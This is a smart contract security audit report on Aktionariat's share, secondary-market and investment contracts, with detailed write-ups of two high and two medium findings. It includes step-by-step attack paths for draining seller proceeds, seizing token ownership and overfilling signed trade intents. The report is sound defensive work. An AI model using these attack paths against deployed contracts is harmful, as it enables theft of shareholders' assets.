

Ge6a Audits

SMART CONTRACT SECURITY

Aktionariat

Security Review

OCTOBER 2026

Table of Contents

01 About 3

02 Disclaimer 4

03 About Aktionariat 5

04 Scope 6

05 Methodology 8

06 Threat Model 9

07 Risk Classification 12

08 Executive Summary 13

09 Findings 15

About

Georgi Stoyanov, or ge6a, is an independent smart contract security researcher specializing in Solidity and EVM-based protocols.

With an engineering background and a strong track record in competitive audits, he has completed over 30 private security reviews. His responsible disclosures through bug bounty programs have helped protect millions of dollars in user funds.

Every engagement gets his full attention and best effort, held to the same standard of depth, accuracy, and clarity.

PORTFOLIO
github.com/gstoyanovbg/audits

X (TWITTER)
@ge6a_bg

TELEGRAM
@ge6a_bg

Disclaimer

A smart contract security review can never guarantee the complete absence of vulnerabilities. It is a time, resource, and expertise bound effort aimed at uncovering as many issues as possible within the agreed scope. No assurance can be given that every vulnerability has been identified, or that the codebase is fully secure after the review. Subsequent security reviews, bug bounty programs, and continuous on-chain monitoring are strongly recommended.

About Aktionariat

Aktionariat AG is a Zürich-based tokenization platform and technology provider for tokenized shares. It enables private companies to issue their shares as tokens, to manage them in a digital share register and to make them tradable, within the legal framework of the Swiss DLT Act, under which registered tokenized shares are equivalent to traditional ones.

The platform covers the full lifecycle for issuers and their shareholders: issuance, investor onboarding with identity verification, primary sales with payment settlement, a secondary market for trading between shareholders, and ongoing share register administration.

Aktionariat has run its own shares on the platform since 2021 and provides the technology and operational support to the companies that use it.

Scope

TIMELINE

REVIEW	September 11, 2026 to September 21, 2026
REMEDIATION REVIEW	October 2026
EFFORT	8 auditor-days, including the remediation review

REPOSITORY

github.com/aktionariat/contracts

COMMIT HASH

REVIEW (FIX-AUDIT)	5c188a88c78bcef4825ba303697f3f493a5d0681
REMEDIATION (SHARES-V6)	e86420ac5f3c677f0fe274b40729abb9e73ab5fe

OUT OF SCOPE

- Every file in the repository not listed under Files in Scope
- Front-ends and wallets, off-chain services and back-ends
- Deployment and upgrade procedures, key management and operations

Files in Scope

FILE	NSLOC
contracts/shares/base/Shares.sol	74
contracts/shares/base/Recoverable.sol	75
contracts/shares/sha/SharesUnderAgreement.sol	84
contracts/shares/sha/Modification.sol	82
contracts/shares/sha/DragAlong.sol	57
contracts/market/SecondaryMarket.sol	161
contracts/market/SecondaryMarketFactory.sol	24
contracts/market/TradeReactor.sol	77
contracts/market/IntentVerifier.sol	39
contracts/market/IntentHash.sol	33
contracts/market/IReactor.sol	4
contracts/investment/DirectInvestment.sol	104
contracts/investment/PaymentHub.sol	86
contracts/investment/IUniswapV3.sol	40
contracts/investment/IDirectInvestment.sol	4
contracts/ERC20/ERC20Flaggable.sol	118
contracts/ERC20/ERC20Allowlistable.sol	93
contracts/ERC20/ERC20Named.sol	19
contracts/ERC20/ERC20Errors.sol	9
contracts/ERC20/IERC20.sol	3
contracts/ERC20/IERC677Receiver.sol	4
contracts/utils/DeterrenceFee.sol	24
contracts/utils/Address.sol	23
contracts/utils/Ownable.sol	23
contracts/utils/SafeERC20.sol	18
TOTAL (25 FILES)	**1,278**

Methodology

The review begins by running the codebase through a combination of automated tooling and internal AI-driven workflows. These workflows are developed and maintained in-house, and are continuously evolved to keep pace with advances in AI and large language models. They are designed to surface common vulnerability patterns, generate hypotheses about contract behavior, and stress-test invariants from angles that off-the-shelf tools tend to miss. Any signal produced by these tools is manually verified before it is acted upon.

With the obvious issues cleared, the focus shifts to deep manual review, going through the code line by line, with attention to business logic, state transitions, access control, external interactions, and edge cases that automated tooling cannot reason about.

The system is also examined from the perspective of different actors: users, privileged roles, integrators, and malicious participants. Catastrophic scenarios are reasoned about backwards to confirm they are not reachable through any unintended path.

Findings are written to be actionable: each issue includes a description, impact analysis, an exploit scenario where relevant, and a concrete recommendation for remediation.

Threat Model

SYSTEM OVERVIEW

Base shares. The token records share ownership. The issuer creates shares, and holders may voluntarily burn them or migrate to an issuer-designated successor. Exercising shareholder rights requires registration with the issuer.

Wrapped shares and shareholder agreement. Wrapping deposits one base share for each wrapped share while the agreement is binding. Once binding ends, holders redeem their proportion of the current backing: original shares, successor tokens or acquisition proceeds. Issuer-assisted full redemption waits 20 days, pays the same address and allows holder cancellation.

Allowlist, freeze and pause. Free addresses send to nonfrozen recipients. Allowed addresses send to Allowed or Admin recipients, or the issuer. Admin transfers also admit Free recipients. Frozen addresses only send to a nonfrozen issuer. Each token can be paused independently, blocking its transfers, minting and burning.

Recovery. Anyone can pay an issuer-set fee and nominate a recipient for another address's shares. After 184 days, anyone may transfer its full current balance. The affected holder or issuer can cancel until execution. Only the issuer executes delayed burns. Claims do not freeze balances.

Drag-along. Anyone may offer a price and payment token for all wrapped shares. Nonissuers pay 100 times the wrapper's recovery fee. After 20 days, anyone may execute payment against the entire current backing. Holders then redeem the proceeds.

Corporate changes. Migration replaces backing and ends binding. Termination ends binding without moving assets. Issuer-only internal migration converts backing to its declared successor without changing binding status. Issuer-only cancellation burns backing without creating replacement assets. These actions wait 20 days. Ending binding does not disable subsequent corporate actions.

Veto. The issuer or an address holding strictly above 10% of current wrapped supply can cancel corporate changes or offers until execution. Balances are not snapshotted. The acquirer may withdraw its offer. Smaller holders object through the issuer.

Direct investment and payment hub. The issuer sells inventory at a configurable price. Crypto payments pass through a designated hub, directly or through Uniswap. Base-currency purchases cap total price. Swaps cap input and accept a buyer-specified deadline. Bank payments require issuer-confirmed settlement. Inventory is not reserved for them.

Secondary market and router. Users sign buy and sell intents while retaining their assets until settlement. A configured router submits matches. Otherwise, anyone may match if each intent permits it. The earlier signed creation timestamp determines the execution price.

TRUST MODEL AND ROLES

ROLE	AUTHORITY AND LIMITS
Issuer	**Trusted.** Owns company contracts and controls their administration. Misuse can destroy economic claims or suspend trading. Individual cancellation rights and collective veto limit forced actions, but ordinary administration has no holder approval.
Aktionariat (protocol owner)	**Trusted for deployment and purchase preparation.** Selects deployment code, currency, payment hub and router for new companies and later market or investment versions. Its backend prepares purchase limits and normally routes trades. Receives a licence share at a fixed address. The issuer controls administration of its deployed share, market and investment contracts. Aktionariat's factory cannot change their code or exercise the issuer's owner-only powers.
Holder above 10%	**Trusted to review, untrusted as proposer.** Can propose migration or termination and block corporate actions. Hostile proposals remain subject to issuer or qualifying-holder veto.
Market router	**Trusted for availability and matching.** Chooses counterparties, amounts and timing. Can cancel intents, censor or favor trades. Signatures, expiry and cumulative share limits constrain settlement, subject to rounding.
Shareholders/users	**Untrusted.** Control their transfers and signed orders. Can initiate acquisitions or recovery claims. They cannot dispense with the applicable settlement checks or delays.
External dependencies	**External trust.** Payment tokens, Uniswap and successor contracts supply settlement or replacement assets. Successful calls alone establish neither economic value nor equivalent shareholder rights.

KEY ASSUMPTIONS

→ **Deployment.** We assume deployed code and role assignments match the reviewed configuration. Otherwise, the safeguards described here may not exist.

→ **Active objections.** We assume eligible parties detect harmful proposals and can cancel before execution. Otherwise, elapsed delays permit ownership changes without affirmative consent.

→ **Settlement.** We assume the configured hub settles honestly, currencies transfer exact amounts, and Uniswap delivers output and refunds correctly. Otherwise, successful settlement can release shares against insufficient payment.

→ **Replacement rights.** We assume successors and any reissuance preserve agreed shareholder entitlements. Otherwise, changing or burning backing can leave holders without equivalent assets.

→ **Legal and contractual requirements.** On-chain permission does not establish legal or contractual authorization. Participants remain responsible for satisfying applicable law and the relevant registration and shareholder agreements.

ATTACK SURFACES

SURFACE	ATTACKER CONTROLS	CONSTRAINTS
Transfers, wrapping and redemption	Recipients, amounts, callbacks and redemption timing	Balances and allowances, token transfer rules, binding status and cancellable assisted redemption
Recovery	Target, recipient and execution timing	Delayed execution, cancellation rights and public defense of wrapper backing
Acquisition	Payment token, price and execution timing	Delayed execution, qualified veto and payment before backing release
Corporate changes	Action, successor and proposal/execution timing	Proposal permissions, delayed execution and veto based on current holdings
Secondary market	Signed orders, matching and fill timing	Signatures bound to market and chain, expiry, router permissions and price/share limits
Primary purchase	Investment contract, purchase amount, payment route and limits	Configured hub, reported payment check, price or input caps and swap deadlines
Issuer administration	Issuance, transfer rules, market settings and sale assets	Owner-only access; capped trading fee. Immediate powers have no holder approval
Aktionariat operations	Deployment code and defaults; hub withdrawals	Factory settings affect future deployments. Hub withdrawals require ownership and reach only its balance

External tokens, successors, swap pools and callback receivers execute code across these paths. Token settlement and replacement value depend on the assumptions stated above.

CENTRALIZATION RISKS

→ **CR-1. Issuance can defeat the holder veto.** While binding, uncapped issuance lets the issuer mint and wrap until no independent holder exceeds 10%. Issuance checks no corporate approval; veto qualification uses current supply without snapshots. Collective actions still require their delay.

→ **CR-2. Administration can block trading and redemption.** Freeze, pause and market closure have no automatic expiry. Objections remain callable. The issuer also controls sales inventory and proceeds.

→ **CR-3. Deterrence fees can block independent proposals.** The issuer can make new recovery claims and acquisition offers unaffordable, while remaining fee-exempt. There is no enforced economic ceiling. Existing claims and offers are unaffected.

Risk Classification

Findings are classified by the combination of their **Impact** and **Likelihood**. Impact reflects the consequences if the issue is exploited; Likelihood reflects how plausible the conditions required for exploitation are under realistic on-chain assumptions. Each finding is evaluated case by case — the matrix below describes the general expected classification.

	IMPACT: HIGH	IMPACT: MEDIUM	IMPACT: LOW
LIKELIHOOD: HIGH	High	High	Medium
LIKELIHOOD: MEDIUM	High	Medium	Low
LIKELIHOOD: LOW	Medium	Low	Low

IMPACT

HIGH
Leads to a significant material loss of assets in the protocol or significantly harms a group of users.

MEDIUM
Leads to a moderate material loss of assets or moderately harms a group of users.

LOW
Leads to a minor material loss of assets or affects a small group of users.

LIKELIHOOD

HIGH
Attack path is possible under realistic on-chain conditions, with low cost relative to the assets at stake.

MEDIUM
Conditionally incentivized attack vector that is still relatively likely under reasonable assumptions.

LOW
Requires unusual assumptions, significant attacker stake, or offers little economic incentive.

Executive Summary

The review recorded **24 findings**: 2 High, 8 Medium, 9 Low and 5 Informational. The High findings concern seller proceeds and unauthorized control of a share token. Other findings address market settlement, transfer restrictions, purchase payments, recovery and configuration.

The issue labels mark **18 Fixed** and **6 Acknowledged**. The acknowledged findings concern mixed transfer regimes, bank-order inventory, seller fees, recovery eligibility, holder veto availability and constructor validation.

FINDINGS COUNT

SEVERITY	COUNT	FIXED	ACKNOWLEDGED
High	2	2	**0**
Medium	8	7	**1**
Low	9	5	**4**
Informational	5	4	**1**
TOTAL	**24**	**18**	**6**

SUMMARY OF FINDINGS

Findings are numbered by severity. Status reflects the issue labels, with fix verification assessed separately.

ID	TITLE	SEVERITY	STATUS
H-01	A trade settled directly at the reactor lets the caller set the fee, and keep the seller's entire proceeds	HIGH	Fixed
H-02	Anyone may call the pool factory's `deploy` and take ownership of a token parked with it	HIGH	Fixed
M-01	Base-currency purchases have no maximum price, so buyers pay the execution-time price up to their full allowance	MEDIUM	Fixed
M-02	Roles are assigned by argument position while both share one fill counter, so a signed intent can be filled beyond its signed maximum	MEDIUM	Fixed
M-03	A frozen holder can still move their shares out through the reactor, at no cost and with no counterparty	MEDIUM	Fixed
M-04	`intent.creation` is never validated, yet it alone decides which side captures the spread	MEDIUM	Fixed

ID	TITLE	SEVERITY	STATUS
M-05	The documented mix of free-float and allowlisted holders cannot be served by one reactor, and the only type that admits both converts the free side	MEDIUM	Acknowledged
M-06	A frozen holder can bridge their position to another chain through the admin-typed CCIP pool, where the freeze does not follow	MEDIUM	Fixed
M-07	A frozen holder can mint a wrapped claim on their shares to any address, and freezing them on the wrapper too does not stop it	MEDIUM	Fixed
M-08	A shareholder can open the issuer's offering to any address by wrapping one share to it	MEDIUM	Fixed
L-01	Disabling on-chain buying also blocks settlement of bank orders, a documented capability that is no longer present	LOW	Fixed
L-02	The raw `approve` in `approveERC20` bypasses SafeERC20, excluding USDT-style tokens entirely	LOW	Fixed
L-03	The Uniswap deadline is set to the executing block, so a stale swap purchase never expires	LOW	Fixed
L-04	Off-chain settlement reserves no inventory, so a purchase landing first leaves the bank-paying investor undeliverable	LOW	Acknowledged
L-05	The trading fee is not bound at signing, so an intent can execute at a higher fee than the one priced into it	LOW	Acknowledged
L-06	`initRecovery` takes the deterrence fee without checking whether the recovery can ever execute	LOW	Acknowledged
L-07	The shareholder veto over a drag-along or migration can be unavailable exactly when it is needed	LOW	Acknowledged
L-08	A transfer from an admin address to the issuer's own address disables `burn` for every holder	LOW	Fixed
L-09	The wrapper type that lets allowlisted holders wrap is the one that stops it paying out to anyone else	LOW	Fixed
I-01	The DirectInvestment constructor accepts zero addresses, including an owner that would brick all administration	INFORMATIONAL	Acknowledged
I-02	The documentation of the hook exempts contract recipients from automatic allowlisting; the code has no such check	INFORMATIONAL	Fixed
I-03	Destination deployment never types the bridge pool, so switching restrictions on closes the way back	INFORMATIONAL	Fixed
I-04	Switching transfer restrictions off leaves the holders who were listed unable to burn	INFORMATIONAL	Fixed
I-05	The allowlist matrix in the documentation is labelled the wrong way round	INFORMATIONAL	Fixed

H-01

A trade settled directly at the reactor lets the caller set the fee, and keep the seller's entire proceeds

SEVERITY	IMPACT	LIKELIHOOD
High	High	Medium

DESCRIPTION

The trading fee is charged to the seller: the buyer pays the full price and the seller receives that price minus the fee (`doc/secondarymarket.md:38`). The reactor does not compute that fee. It takes it from whoever submits the trade:

```
// TradeReactor.sol:142-143
IERC20(sellerIntent.tokenIn).safeTransfer(sellerIntent.owner, totalExecutionPrice - totalFee);
// transfer net proceeds to seller
IERC20(sellerIntent.tokenIn).safeTransfer(msg.sender, totalFee); // collect fee to msg.sender
```

`totalFee` is not part of what the seller signs. `Intent` carries no fee field and no cap (`IntentHash.sol:14-24` , `:27`), and nothing in `process` bounds it. The only limit is the subtraction itself, so `totalFee == totalExecutionPrice` is a legal call: the seller receives zero and the caller keeps the whole payment.

When `SecondaryMarket` forwards the trade this cannot happen, because the market computes the fee itself from `tradingFeeBips` (`SecondaryMarket.sol:271`), and `setTradingFee` enforces the ceiling the issuer publicly commits to: `if (tradingFeeBips_ > 500) revert InvalidConfiguration(); // commit to never set it above 5%` (`:105`). That ceiling exists on one path and not on the other. `TradeReactor.process` is `public` with no access control, and the market is not in the path when the reactor is called directly; who may submit an intent is then decided by the intent's own `filler` field:

```
// TradeReactor.sol:152
if (intent.filler != msg.sender && intent.filler != address(0x0)) revert InvalidFiller();
```

Orders the market builds are not exposed this way: `createBuyOrder` and `createSellOrder` hard-code `filler = address(this)` (`SecondaryMarket.sol:115` , `:123`), and `verifySignature` rejects any intent whose filler is not the market (`SecondaryMarket.sol:152`), so an attacker calling the reactor with such an intent reverts `InvalidFiller` . What is exposed is any otherwise valid intent with `filler == address(0)` ; an intent naming some other filler stays restricted to that address, but is subject to no fee cap in its hands either.

Naming a filler is documented as optional:

> An intent may name a `filler` , in which case only that contract may forward it (`doc/secondarymarket.md:26`)

> @param filler The address of the filler, if any, that the intent is specifically directed to (`TradeReactor.sol:34`)

For an intent that names none, `verify` admits any caller at all. The reactor also treats the fee as the submitter's own affair:

H-01 (continued)

```
// TradeReactor.sol:145
//leave it to the filler to emit an event with the fees correctly specified
```

The recorded triage of this issue names the right fix and then sets it aside (`audits/agents-report-summary.md` , *Middle Ground Issues*):

> - Valid Concern: If intent are signed and sent to a malicious actor, it could drain the seller's tokenIn balance. Those trades are usually run by a benevolent actor (backend).
> - Solution: Cap fees that can be collected. Could be capped to: transaction fee plus a maximum percentage.

> **Plan**
>
> Not of systematic concern. We defer the problem to be managed benevolently by the router.

The router restriction cannot govern this path. `router` is a state variable of `SecondaryMarket` , read when that contract executes or cancels a trade (`SecondaryMarket.sol:260` , `:278`); `TradeReactor` holds no reference to any market, no registry and no notion of a router, so a trade settled directly at the reactor never passes that check no matter how any market is configured.

A router is optional by design:

> Configures the permissible router or the null address for any (`SecondaryMarket.sol:87`)

> With no router configured, anyone can act as filler (`doc/secondarymarket.md:42`)

Router benevolence is therefore a property of one configuration, not of the deployed system, and `AUDIT.md:50` extends that assumption to the secondary market's router, not to whoever calls the reactor.

ATTACK PATH

1. A seller signs a sell intent that names no filler, and it becomes known to the attacker. Nothing is locked up. As with every order here, the only on-chain commitment is a standing allowance to the reactor (`doc/secondarymarket.md:7`).
2. The attacker signs their own buy intent matching it on price, within its expiry, and approves the reactor for the purchase price.
3. The attacker calls `TradeReactor.process` with both intents and `totalFee` set to the full execution price.
4. The reactor pulls the seller's shares and the attacker's payment, and delivers the shares to the attacker.
5. The seller is paid `totalExecutionPrice - totalFee` , which is zero.
6. The attacker's own payment is returned to them as the fee, leaving them the shares at a net cost of gas.

IMPACT

The seller loses their shares and receives nothing at all for them. The loss is the full value of the trade, and it is atomic and irreversible. The attacker need not even be the buyer: matching the seller's intent against an honest buyer's filler-less buy intent, they put up no money of their own and take that buyer's entire payment, while the buyer receives the shares their own intent authorised and sees nothing wrong.

H-01 (continued)

RECOMMENDATION

- Letting intents be created and settled permissionlessly, outside `SecondaryMarket`, opens attack surface beyond this fee. The responses to the earlier audits suggest the intended model is a router acting honestly, in which case intents with `filler == address(0)` are better rejected outright in `verify`.
- If that mode is needed, bound `totalFee` inside `process`, as the earlier audit response itself proposed: “Cap fees that can be collected... to: transaction fee plus a maximum percentage.”

AKTIONARIAT

Fixed in commit `bb7d0b1`. `TradeReactor` was merged into `SecondaryMarket`, removing settlement outside the market. The market now calculates the fee and caps it at 5%.

AUDITOR

Verified.

H-02

Anyone may call the pool factory's deploy and take ownership of a token parked with it

SEVERITY	IMPACT	LIKELIHOOD
High	High	Medium

DESCRIPTION

`CCIPTokenPoolFactory.deploy` deploys the CCIP pool for a share token and then hands that token to its final owner. It is `external` with no access control:

```
// CCIPTokenPoolFactory.sol:87-96
function deploy(
    bytes32 salt,
    address localToken,
    TokenPoolFactory.RemoteTokenPoolInfo[] calldata remoteTokenPools,
    address futureOwner
) external returns (address deployedPool) {
    Deployment._isContractOwner(localToken, address(this));
    if (futureOwner == address(0)) {
        futureOwner = msg.sender;
    }
```

The single check asserts that *the factory* owns the token; `msg.sender` is never inspected (`Deployment.sol:36-39`). That is a precondition for the deployment to succeed, not an authorization to perform it: whoever calls names `futureOwner` , and the function ends with `Ownable(localToken).transferOwnership(futureOwner)` (`:117`), which is single-step and takes effect immediately (`utils/Ownable.sol:51-54`).

The `onlyOwner` meant to govern this operation sits one layer up, on the two `TokenDeploymentManager` contracts (`Source.sol:149` , `Destination.sol:117`). It never applies, because the factories are deployed standalone and handed to the manager by address (`ignition/modules/factory/logics/LogicsSourceModule.ts:20-23`). Calling the factory directly skips the manager entirely.

This is only exploitable while the factory actually holds a token, and the codebase puts it in that state by design: a `candidate` SHA “must already be owned by the lock-release pool logic factory” (`TokenDeploymentManagerSource.sol:144-147` ; same for BSHA at `Destination.sol:112-115`), so it is parked there in one transaction and collected in a later one. The fresh-deployment path creates and collects the token in a single call (`Source.sol:174-191`) and is unaffected.

The attack fails only if the token already holds an accepted Chainlink registry administrator, which reverts the whole transaction (`TokenAdminRegistry.sol:180-182`). This is not the case for a first-time CCIP onboarding.

H-02 (continued)

ATTACK PATH

1. An operator transfers an existing SHA / BSHA to the pool factory, as the `candidate` flow requires.
2. Before the operator's `TokenDeploymentManager.deploy` lands, an attacker calls `CCIPTokenPoolFactory.deploy` directly with the same `localToken`, `futureOwner = attacker`, their own `salt` and an empty `remoteTokenPools`. The trigger is the public `OwnershipTransferred(_, poolFactory)` event on the token.
3. The factory passes its only check and transfers the token to the attacker.
4. The operator's transaction reverts with `CallerMustBeContractOwner`.

IMPACT

The issuing company loses ownership of its share token permanently. There is no acceptance step and no way to reclaim it.

Shareholders lose the ability to transfer: the attacker can `pause` the token entirely or `freeze` individual holders (`ERC20Allowlistable.sol:176` , `:89`).

If the token is a `BridgedSharesUnderAgreement` , the attacker calls `setPool` (`:99`) and mints unlimited bridged supply, diluting every holder.

RECOMMENDATION

Take the destination out of the caller's hands. Have the factory record the intended `futureOwner` for a token at the moment the token is handed to it, set by the token's current owner when parking it and at creation on the fresh-deployment path. Have `deploy` read that record instead of its `futureOwner` argument. The token then lands where its real owner directed it, whoever calls `deploy` and however long it sits with the factory. This keeps the factory permissionless, which appears to be the intent.

A deployer allowlist on `deploy` is a possible mitigation as it narrows the exposure but does not remove the defect: any allowlisted caller can still name an arbitrary `futureOwner` for a token it did not park. It is worth adding as a second layer, not as the fix.

AKTIONARIAT

Fixed in commits `eec5147` and `cc2c8b4` . The old pool factories and deployment managers were replaced by `AktionariatFactory` . Tokens and bridge infrastructure are now created and handed to the issuer within one transaction. Deployment functions are `onlyOwner` and require an explicit owner.

AUDITOR

Verified.

M-01

Base-currency purchases have no maximum price, so buyers pay the execution-time price up to their full allowance

SEVERITY	IMPACT	LIKELIHOOD
Medium	**Medium**	**Medium**

DESCRIPTION

`DirectInvestment` sells shares at a price that rises with every settled purchase, so the cost of a given order depends on what has already been sold at the moment it executes:

```
// DirectInvestment.sol:89
price = price + (amountShares * increment);
```

When buying with the base currency, the buyer states only how many shares they want. The contract computes the cost at execution time and pulls exactly that amount, whatever it turns out to be:

```
// PaymentHub.sol:89-95
function payFromBaseCurrencyAndNotify(IDirectInvestment directInvestment, uint256 amountShares,
bytes calldata ref) public {
    require(amountShares > 0, PaymentHub_InvalidAmount());
    uint256 priceInBaseCurrency = directInvestment.getBuyPrice(amountShares);
    directInvestment.base().safeTransferFrom(msg.sender, address(directInvestment),
priceInBaseCurrency);
    ...
}
```

Since the call carries no maximum, the buyer's ERC-20 allowance becomes the de facto spending limit, and that limit is by design larger than what the purchase needs. The contract's own NatSpec sets the expectation:

```
// PaymentHub.sol:37-38
* A hub for payments, to be used with the DirectInvestment contract.
* Enables a single allowance given to this contract to be used across multiple DirectInvestment
contracts.
```

A buyer following this documented pattern grants one standing allowance meant to cover purchases across several `DirectInvestment` contracts, so headroom far above the current order is the intended state rather than user error; all of that headroom is reachable by a single purchase. If the price has risen since the buyer signed, the higher amount is taken silently, with no revert and no refund, until the allowance is exhausted.

Nothing in the settlement path re-checks this against what the buyer agreed to: `processIncoming` (`DirectInvestment.sol:111-112`) recomputes `getBuyPrice` from the same mutated state, so it always agrees with what was just charged.

M-01 (continued)

Reaching that headroom requires no malicious actor: any other purchase that settles first raises the price deterministically, which is the ordinary behaviour of a rising-price offering with concurrent buyers. As an additional variant, the issuer can raise `price` and `increment` to any value at any moment via `setPrice` (`DirectInvestment.sol:69-73`), making the overcharge arbitrary rather than incremental.

ATTACK PATH

With `price = 1,000` , `increment = 1` , and Alice holding a standing `PaymentHub` allowance:

1. Alice gets a quote for 100 shares: `getBuyPrice(100) = 104,950` .
2. Alice submits `payFromBaseCurrencyAndNotify(directInvestment, 100, ref)` , no cost bound in the call.
3. Bob's purchase of 500 shares settles first, raising `price` to `1,500` .
4. Alice's transaction executes at `getBuyPrice(100) = 154,950` and pulls that amount from her allowance.
5. Alice receives 100 shares and pays 50,000 more than quoted; the excess stays in `DirectInvestment` .

IMPACT

Buyers pay more base currency than the amount they expected, capped only by their allowance and balance.

RECOMMENDATION

A possible solution is to add a caller-supplied parameter capping the maximum total price, and revert when the execution-time price exceeds it.

AKTIONARIAT

Fixed in commit `244f5e4` . Base-currency purchases now enforce a buyer-supplied maximum price before taking payment.

AUDITOR

Verified.

M-02

Roles are assigned by argument position while both share one fill counter, so a signed intent can be filled beyond its signed maximum

SEVERITY	IMPACT	LIKELIHOOD
Medium	**High**	**Medium**

DESCRIPTION

An intent authorises one direction and one quantity. The struct documents this explicitly: `amountOut` is *"The maximum amount"* the owner sends out, and `amountIn` is *"The amount received in exchange for the maximum of the sent token"* (`IntentHash.sol:18-20`); the specification adds that an order is matched against several smaller ones *"until it is exhausted, and never beyond (`OverFilled`)"* (`doc/secondarymarket.md:34`). For a sell intent offering 10 shares for 900 CHF, the 10 shares are the cap; the 900 CHF is the price of that cap.

Which of the two numbers acts as the cap, however, depends on the argument position the intent is passed in, not on what was signed. `process` takes a seller slot and a buyer slot, and its token checks are symmetric: the seller's outgoing token must equal the buyer's incoming token and vice versa, so the same signed intent satisfies either slot. The signature cannot prevent it: `INTENT_TYPE_HASH` covers no role or direction field (`IntentHash.sol:27`).

```
// TradeReactor.sol:122-132
if (sellerIntent.tokenOut != buyerIntent.tokenIn) revert TokenMismatch();
if (sellerIntent.tokenIn != buyerIntent.tokenOut) revert TokenMismatch();

bytes32 sellerHash = sellerIntent.hash();
bytes32 buyerHash = buyerIntent.hash();

if (tradedTokens > (sellerIntent.amountOut - filledAmount[sellerHash])) revert OverFilled();
if (tradedTokens > (buyerIntent.amountIn - filledAmount[buyerHash])) revert OverFilled();

filledAmount[sellerHash] += tradedTokens;
filledAmount[buyerHash] += tradedTokens;
```

In the seller slot the cap is `amountOut` ; in the buyer slot it is `amountIn` , and both are checked against, and added to, the single `filledAmount[hash()]` slot of that intent. The two caps are not in the same unit, and this asymmetry is by design: shares are deployed with 0 decimals (`Shares.sol:86`) while the currency has 18, which is exactly what the pricing helpers are documented for: *"Ideally called with an intent where tokenIn is a currency with many (e.g. 18) decimals"*, *"TokenOut can have very few decimals"* (`TradeReactor.sol:65-66`). A sell intent for 10 shares therefore carries a 10-unit budget in one role and a $900 \cdot 10^{18}$-unit budget in the other, in the same counter. Filling it honestly to its full signed size leaves `filledAmount == 10` , so essentially the entire second budget is still open.

M-02 (continued)

The price check does not stand in the way, because the counterparty intent is signed by the attacker, who is free to choose its amounts. Nothing requires them to be non-zero, and `getAsk` returns `amountIn - amountIn * (amountOut - amount) / amountOut`, which is identically zero when `amountIn` is zero (`TradeReactor.sol:76`). `verifyPriceMatch` only rejects `bid < ask` (`:97`), and with `ask == 0` that comparison can never fail. Setting the counterparty's `creation` at or after the victim's then selects `getBid` on the victim's intent as the execution price (`:102`), which is the victim's own signed rate.

Each round is a real trade at that rate: the attacker pays 90 CHF and the victim delivers one share. Against a signed maximum of N shares already filled in full, the remaining currency-denominated budget buys N−1 more, so the intent settles **2N−1 shares against a signed N**: 19 against 10 for the numbers above. Attacking before the honest fill instead yields N and leaves the intent dead. The attacker never gets a better price than the one signed (`getBid` rounds down), so what is gained is not a discount but the power to force the sale. Two preconditions: the victim must still hold the shares, and their allowance to the reactor must exceed the quantity they meant to sell, which the documented infinite-allowance support makes the normal case (`ERC20Flaggable.sol:208-218`).

The same role swap has three further consequences. The cheapest needs no capital and no allowance headroom at all: `tradedTokens` equal to the victim's share amount makes the execution price round down to zero, so no shares move while `filledAmount` reaches the signed maximum, and every genuine fill of that intent reverts until it expires; `cleanupExpiredIntentData` clears the counter only after expiration (`:160-166`). The mirror of the overfill works on a **buy** intent with every amount non-zero: after an honest complete fill, the same swap forces the victim to keep buying, paying 810 CHF for 9 shares beyond the 10 they signed for, so rejecting zero amounts would not close the class. And in the seller slot nothing bounds what an intent *receives*: one honest buy intent for 10 shares, passed there once, can be made to receive 20 (the fourth test below). On that last one the code and the specification disagree, since `doc/secondarymarket.md:26` describes an intent as an order to exchange `amountOut` *"for at least* `amountIn` *"* while the buyer-slot check treats `amountIn` as a maximum.

One detail for whoever reproduces this: once the counter exceeds `amountOut`, the subtraction at `:128` underflows, so the failure surfaces as panic `0x11` rather than `OverFilled`, the same applies after `cancelIntent` sets the counter to `type(uint256).max` (`:157`).

The path is limited to intents signed without a designated filler, which is a supported mode rather than a misuse: `verify` explicitly accepts `filler == address(0)` (`TradeReactor.sol:152`), and `signalIntent` is permissionless and publishes the intent together with its signature so that it *"can be picked up by the filler for processing"* (`:53-60`). Orders created through `SecondaryMarket` are out of reach because `createBuyOrder` / `createSellOrder` pin `filler` to the market (`:114-124`), which `verify` then restricts to that one caller; note that `SecondaryMarket.process` itself does not re-check the filler, so a filler-less intent does route through the market; it only pins each role to `TOKEN` and `CURRENCY` (`:262-267`).

M-02 (continued)

ATTACK PATH

1. A shareholder signs a sell intent for at most 10 shares in exchange for 900 CHF, without a designated filler, and publishes it through `signalIntent`.
2. The intent is filled normally for its full signed size: the shareholder sells 10 shares, and `filledAmount` for that intent becomes 10, against a buyer-role budget of $900 \cdot 10^{18}$.
3. The attacker signs their own intent offering 90 CHF for shares, with `amountIn` set to zero so that `getAsk` on it returns zero, and `creation` at or after the victim's.
4. The attacker calls `process` directly on the reactor, passing their own intent in the seller slot and the victim's already-filled sell intent in the buyer slot.
5. The buyer-slot cap is read from the victim's `amountIn`, so the fill check passes; the price check passes because the ask is zero; the execution price is one share at the victim's own rate.
6. The attacker repeats this nine times, taking nine further shares from the shareholder and paying 90 CHF for each.

IMPACT

A shareholder loses shares they never offered, up to one short of twice the quantity they signed for, and is paid at a limit price they may have set long before. Beyond the unwanted sale itself, the forced reduction of their holding can push them below the thresholds their rights depend on, such as the 10% needed to block a drag-along offer or a migration. The dust variant needs no capital and no allowance, so every published filler-less order can also simply be blocked for the rest of its validity.

POC

Four tests against the unmodified production contracts: the real `Shares` token, `SecondaryMarket` and `TradeReactor`. The first reproduces the overfill: the honest fill goes through `SecondaryMarket.process` and the attacker's rounds go straight to the reactor, after which the victim has sold 2N−1 shares against a signed maximum of N, at their own signed rate. The second is the dust variant: no shares move, yet every genuine fill afterwards reverts. The third is a negative control: the same swap against a market-created order reverts `InvalidFiller`. The fourth is the variant with no zero amounts anywhere: a buy intent placed in the seller slot receives twice the shares it signed for.

Intent hashes come from the deployed contracts through `IntentHash`, and the EIP-712 domain separator is read out of the reactor's own storage, so no signing logic is reimplemented; each signature is additionally handed to `TradeReactor.verify`, which attests it. The only stand-in is the currency, an external stablecoin with no contract in the repository.

Save as `test/MK02RoleSwapPoC.t.sol` and run with `npx hardhat test solidity test/MK02RoleSwapPoC.t.sol`.

M-02 (continued)

```
Running Solidity tests
  test/MK02RoleSwapPoC.t.sol:MK02RoleSwapPoC
    ✔ test_SellIntentFilledBeyondSignedMaximum()
    ✔ test_SellIntentBlockedWithoutMovingShares()
    ✔ test_MarketCreatedOrderCannotBeSwapped()
    ✔ test_BuyIntentInSellerSlotExceedsSignedQuantity()
  4 passing
```

